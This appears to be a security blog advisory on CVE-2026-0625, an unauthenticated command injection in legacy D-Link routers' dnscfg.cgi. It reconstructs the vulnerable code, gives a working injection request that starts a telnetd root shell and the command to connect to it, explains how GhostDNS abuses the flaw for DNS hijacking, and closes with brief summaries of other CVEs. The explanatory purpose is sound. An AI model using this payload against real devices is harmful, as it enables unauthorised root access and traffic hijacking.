Feb 24, 2026·6 min read·168 visits
Critical RCE (CVSS 9.3) in legacy D-Link routers allows unauthenticated attackers to execute root commands via the `dnscfg.cgi` endpoint. Actively exploited by GhostDNS malware. No patch available; devices must be retired or strictly firewalled.
A critical unauthenticated remote code execution (RCE) vulnerability affects a massive fleet of legacy D-Link DSL and DIR series routers. Identified as CVE-2026-0625, this flaw allows attackers to bypass authentication on the `dnscfg.cgi` endpoint and inject arbitrary shell commands via DNS configuration parameters. The vulnerability is actively weaponized by the 'GhostDNS' botnet to hijack network traffic and draft these zombie devices into DDoS armies. Since the affected products are End-of-Life (EOL), the vendor has issued no patches, recommending device retirement instead.
In the world of cybersecurity, we often obsess over the latest zero-day in the Linux kernel or a complex heap overflow in Chrome. But sometimes, the most dangerous threats are the ghosts of the past. Enter CVE-2026-0625, a vulnerability that proves bad code never truly dies—it just sits on a dusty shelf waiting to be plugged back in.
The target? A veritable museum of D-Link legacy devices: the DSL-2640B, DIR-600, and the DNS-320 ShareCenter, among others. These are the beige plastic boxes that have been sitting in small business closets and home offices since the early 2010s, humming along, routing packets, and effectively acting as open doors to the internet.
This isn't a subtle cryptographic weakness. It's a sledgehammer. We're looking at Unauthenticated Remote Code Execution via a legacy CGI script. It allows any script kiddie with a curl binary to turn your router into a traffic-sniffing zombie or a crypto-mining space heater. The worst part? There is no fix coming. The vendor has officially washed their hands of it, leaving the internet's immune system to deal with the infection.
The vulnerability lives in dnscfg.cgi, a Common Gateway Interface script responsible for—you guessed it—configuring the device's DNS settings. In the embedded world, CGI scripts are often compiled C binaries or shell scripts that take HTTP requests and translate them into system actions.
Where did the developers go wrong? They committed two cardinal sins of web security:
Implicit Trust (Auth Bypass): The developers assumed that because the web interface usually requires a login, every script is protected. They were wrong. The dnscfg.cgi endpoint fails to verify session tokens or cookies before processing the request. It assumes that if you can reach the door, you're allowed inside.
Unsanitized Input (Command Injection): The script takes the parameters dnsPrimary and dnsSecondary from the HTTP GET request and passes them directly to the underlying operating system. It treats user input as trusted data, which is the software equivalent of eating a sandwich you found on the subway floor.
Since these devices are End-of-Life (EOL), D-Link has not released a patch, which means we don't have a nice "Before vs. After" git diff to analyze. However, based on the behavior and standard embedded development practices of that era, we can reconstruct the crime scene with high accuracy.
The vulnerable logic likely looks like this C pseudocode snippet, common in uClibc/BusyBox environments:
// VULNERABLE LOGIC RECONSTRUCTION
void handle_request(char *query_string) {
char primary_dns[64];
char command[256];
// 1. Parse the parameter directly from the URL
// No check for "session_id" or "cookie" here!
get_param(query_string, "dnsPrimary", primary_dns);
// 2. Construct the system command insecurely
// The developer intends to run: echo "nameserver 8.8.8.8" > /etc/resolv.conf
sprintf(command, "echo 'nameserver %s' > /etc/resolv.conf", primary_dns);
// 3. Execute with root privileges
// If primary_dns contains "; telnetd;", we execute arbitrary code.
system(command);
}The function system() spawns a shell (/bin/sh -c) to execute the string. The shell parses special characters like semicolons (;), pipes (|), and backticks (`). By injecting these characters, we break out of the intended echo command and start our own.
Exploiting this is trivially easy. We don't need to craft a complex heap spray or bypass ASLR. We just need to ask the web server nicely.
The goal is to inject a payload into the dnsPrimary parameter. A standard request looks like this:
GET /dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4
An attacker modifies this to append a malicious command. For example, to start a Telnet daemon on port 4444 to gain a persistent root shell:
GET /dnscfg.cgi?dnsPrimary=1.1.1.1;telnetd+-p+4444+-l+/bin/sh&dnsSecondary=8.8.8.8 HTTP/1.1
Host: 192.168.0.11.1.1.1: Satisfies the initial echo command so the script doesn't error out immediately.;: The shell delimiter. It tells the OS, "Finish the previous command, then run this next one."telnetd -p 4444 -l /bin/sh: Starts the Telnet server listening on port 4444 and binds it to the system shell (/bin/sh).Once sent, the attacker simply connects: telnet [TARGET_IP] 4444 and enjoys root access without a password. This is exactly how the GhostDNS botnet operates, though they typically use the access to silently overwrite DNS settings rather than opening a loud shell.
While RCE is the technical classification, the primary use case for this vulnerability in the wild is DNS Hijacking. The 'GhostDNS' campaign automates this attack across thousands of devices.
When an attacker controls your router's DNS settings, they control your reality.
bankofamerica.com. The router asks the attacker's DNS server for the IP. The attacker returns the IP of a phishing site that looks identical to the real bank. You log in, and your credentials are stolen instantly.Because the attack happens at the router level, it affects every device on the network—phones, laptops, smart fridges—regardless of how secure those individual devices are.
Here is the hard truth: There is no patch.
D-Link has marked these devices as End-of-Life (EOL) and End-of-Service (EOS). They have explicitly stated that no firmware updates will be provided to address CVE-2026-0625. If you are a sysadmin managing these devices, you are on your own.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A| Product | Affected Versions | Fixed Version |
|---|---|---|
DSL-2640B D-Link | All Revisions | None |
DIR-600 D-Link | All Revisions | None |
DNS-320 D-Link | All Revisions | None |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-0625 |
| CVSS v4.0 | 9.3 (Critical) |
| CWE ID | CWE-78 (OS Command Injection) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Exploit Status | Active (GhostDNS Campaign) |
| Vendor Status | End-of-Life (Won't Fix) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.
A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.
CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.